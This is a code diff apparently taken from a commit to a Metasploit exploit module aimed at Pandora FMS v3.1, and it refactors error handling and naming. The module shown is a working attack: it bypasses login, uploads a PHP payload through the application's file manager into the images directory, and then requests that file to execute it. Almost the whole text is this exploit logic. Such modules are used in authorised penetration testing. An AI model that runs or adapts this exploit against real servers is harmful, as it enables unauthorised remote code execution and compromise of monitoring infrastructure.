@@ -69,7 +69,7 @@ def check
69
69
if res and res . code == 200
70
70
#Tested on v3.1 Build PC100609 and PC100608
71
71
if res . body . include? ( "v3.1 Build PC10060" )
72
- return Exploit ::CheckCode ::Vulnerable
72
+ return Exploit ::CheckCode ::Appears
73
73
elsif res . body . include? ( "Pandora" )
74
74
return Exploit ::CheckCode ::Detected
75
75
end
@@ -84,35 +84,28 @@ def check
84
84
85
85
# upload a payload using the pandora built-in file upload
86
86
def upload ( base , file , cookies )
87
+ data = Rex ::MIME ::Message . new
88
+ data . add_part ( file , 'application/octet-stream' , nil , "form-data; name=\" file\" ; filename=\" #{ @fname } \" " )
89
+ data . add_part ( "Go" , nil , nil , 'form-data; name="go"' )
90
+ data . add_part ( "images" , nil , nil , 'form-data; name="directory"' )
91
+ data . add_part ( "1" , nil , nil , 'form-data; name="upload_file"' )
92
+ data_post = data . to_s
93
+ data_post = data_post . gsub ( /^\r \n \- \- \_ Part\_ / , '--_Part_' )
87
94
88
- begin
89
- data = Rex ::MIME ::Message . new
90
- data . add_part ( file , 'application/octet-stream' , nil , "form-data; name=\" file\" ; filename=\" #{ @fname } \" " )
91
- data . add_part ( "Go" , nil , nil , 'form-data; name="go"' )
92
- data . add_part ( "images" , nil , nil , 'form-data; name="directory"' )
93
- data . add_part ( "1" , nil , nil , 'form-data; name="upload_file"' )
94
- data_post = data . to_s
95
- data_post = data_post . gsub ( /^\r \n \- \- \_ Part\_ / , '--_Part_' )
96
-
97
- res = send_request_cgi ( {
98
- 'method' => 'POST' ,
99
- 'uri' => normalize_uri ( base , 'index.php' ) ,
100
- 'cookie' => cookies ,
101
- 'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
102
- 'vars_get' => {
103
- 'sec' => 'gsetup' ,
104
- 'sec2' => 'godmode/setup/file_manager' ,
105
- } ,
106
- 'data' => data_post
107
- } )
108
-
109
- register_files_for_cleanup ( @fname )
110
- return res
111
-
112
- rescue ::URI ::InvalidURIError
113
- fail_with ( Exploit ::Failure ::Unknown , "Unable to get the uri correctly" )
114
- end
95
+ res = send_request_cgi ( {
96
+ 'method' => 'POST' ,
97
+ 'uri' => normalize_uri ( base , 'index.php' ) ,
98
+ 'cookie' => cookies ,
99
+ 'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
100
+ 'vars_get' => {
101
+ 'sec' => 'gsetup' ,
102
+ 'sec2' => 'godmode/setup/file_manager' ,
103
+ } ,
104
+ 'data' => data_post
105
+ } )
115
106
107
+ register_files_for_cleanup ( @fname )
108
+ return res
116
109
end
117
110
118
111
def exploit
@@ -140,33 +133,34 @@ def exploit
140
133
print_status ( "Login Bypass Successful" )
141
134
print_status ( "cookie monster = " + cookies )
142
135
else
143
- print_error ( "Login Bypass Failed" )
136
+ fail_with ( Exploit :: Failure :: NotVulnerable , "Login Bypass Failed" )
144
137
end
145
138
end
146
139
147
140
# upload PHP payload to images/[fname]
148
- print_status ( "#{ @ peer} - Uploading PHP payload (#{ payload . encoded . length } bytes)" )
141
+ print_status ( "#{ peer } - Uploading PHP payload (#{ payload . encoded . length } bytes)" )
149
142
php = %Q|<?php #{ payload . encoded } ?>|
150
143
begin
151
144
res = upload ( base , php , cookies )
152
- if res and res . code == 200
153
- print_good ( "#{ @peer } - File uploaded successfully" )
154
- else
155
- fail_with ( Exploit ::Failure ::UnexpectedReply , "#{ @peer } - Uploading PHP payload failed" )
156
- end
157
145
rescue ::Rex ::ConnectionError
158
- fail_with ( Exploit ::Failure ::Unreachable , "#{ @peer } - Connection failed" )
146
+ fail_with ( Exploit ::Failure ::Unreachable , "#{ peer } - Connection failed" )
147
+ end
148
+
149
+ if res and res . code == 200
150
+ print_good ( "#{ peer } - File uploaded successfully" )
151
+ else
152
+ fail_with ( Exploit ::Failure ::UnexpectedReply , "#{ peer } - Uploading PHP payload failed" )
159
153
end
160
154
161
155
# retrieve and execute PHP payload
162
- print_status ( "#{ @ peer} - Executing payload (images/#{ @fname } )" )
156
+ print_status ( "#{ peer } - Executing payload (images/#{ @fname } )" )
163
157
begin
164
158
res = send_request_cgi ( {
165
159
'method' => 'GET' ,
166
160
'uri' => normalize_uri ( base , 'images' , "#{ @fname } " )
167
161
} )
168
- rescue ::Rex ::ConnectionRefused , :: Rex :: HostUnreachable , :: Rex :: ConnectionTimeout
169
- fail_with ( Exploit ::Failure ::Unreachable , "#{ @ peer} - Connection failed" )
162
+ rescue ::Rex ::ConnectionError
163
+ fail_with ( Exploit ::Failure ::Unreachable , "#{ peer } - Connection failed" )
170
164
end
171
165
172
166
end
0 commit comments